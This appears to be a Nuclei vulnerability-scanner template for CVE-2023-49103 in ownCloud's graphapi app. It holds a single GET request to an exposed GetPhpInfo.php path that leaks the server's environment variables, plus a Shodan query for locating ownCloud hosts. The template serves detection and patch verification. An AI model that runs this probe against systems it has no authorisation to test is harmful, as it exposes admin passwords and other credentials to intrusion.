nuclei-templates/http/cves/2023/CVE-2023-49103.yaml

39 lines
1.7 KiB
YAML

id: CVE-2023-49103
info:
name: OwnCloud - Phpinfo Configuration
author: ritikchaddha
severity: high
description: |
An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.
reference:
- https://github.com/creacitysec/CVE-2023-49103/blob/main/exploit.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-49103
classification:
cve-id: CVE-2023-49103
cwe-id: CWE-200
metadata:
max-request: 1
verified: true
shodan-query: title:"owncloud"
tags: cve,cve2023,owncloud,phpinfo,config
http:
- method: GET
path:
- "{{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
- "owncloud"
condition: and
- type: status
status:
- 200
# digest: 480a00453043021f48d54dbd02e7f7bb5eb464d75204a1496fa56add274072871203d2ae40e8de0220428fe103428c3efc72d352599bd29a1c8bb3b592610a469a3a0d83607f005f8c:922c64590222798bb761d5b6d8e72950